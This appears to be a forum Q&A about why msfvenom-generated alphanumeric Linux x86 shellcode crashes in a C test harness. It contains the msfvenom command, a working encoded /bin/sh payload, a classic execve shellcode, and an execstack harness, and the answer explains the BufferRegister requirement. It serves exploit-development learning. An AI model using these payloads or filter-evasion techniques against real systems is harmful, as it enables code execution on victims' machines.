alphanumeric shellcode

Question

I have generated an alphanumeric shellcode with this command:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed BufferRegister=ECX -f python

I am targeting a 32 bits x86 architecture on Linux.

Here is the shell code (i've converted it into a string):

IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0jTK68mIcbCVrHDmsSOyywSXfO2SsXgpe86OSRSY2NOyYs1Byxc8s0WpUPDo0b2I2NVOCCSXs0V7RsK9yq8Mk0AA

Here is a very basic c program which runs the shellcode:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

typedef void (*shellcode_t)();
// unsigned char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
unsigned char code[] = "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0jTK68mIcbCVrHDmsSOyywSXfO2SsXgpe86OSRSY2NOyYs1Byxc8s0WpUPDo0b2I2NVOCCSXs0V7RsK9yq8Mk0AA";


int main (int argc, char * argv[])
{
  shellcode_t appel = (shellcode_t)code;
  appel();

  return 0;
}

Here is how i compile it:

$ cc -Wall -m32 -z execstack -fno-stack-protector -O0 test.c -o test

When i run the program i get a segfault.

Please note the classical shellcode i've commented in the c program works perfectly. So it is not a c program compilation issue.

Thanks

Answer 1

Alphanumeric shellcode expects the location of the shellcode to be stored in a register, since the usual technique of call/pop can't be performed with the limited character set.

In your example above this is set using BufferRegister=ECX, your C program doesn't take this into account though, which is why it crashes. Taking out the BufferRegister directive will give you a shellcode blob that determines the location manually, but isn't pure alphanumeric. This should run in your program though.

An alternative would be to use something that runs shellcode from a file, since these often have a jmp/call reg32, which you can then use with BufferRegister.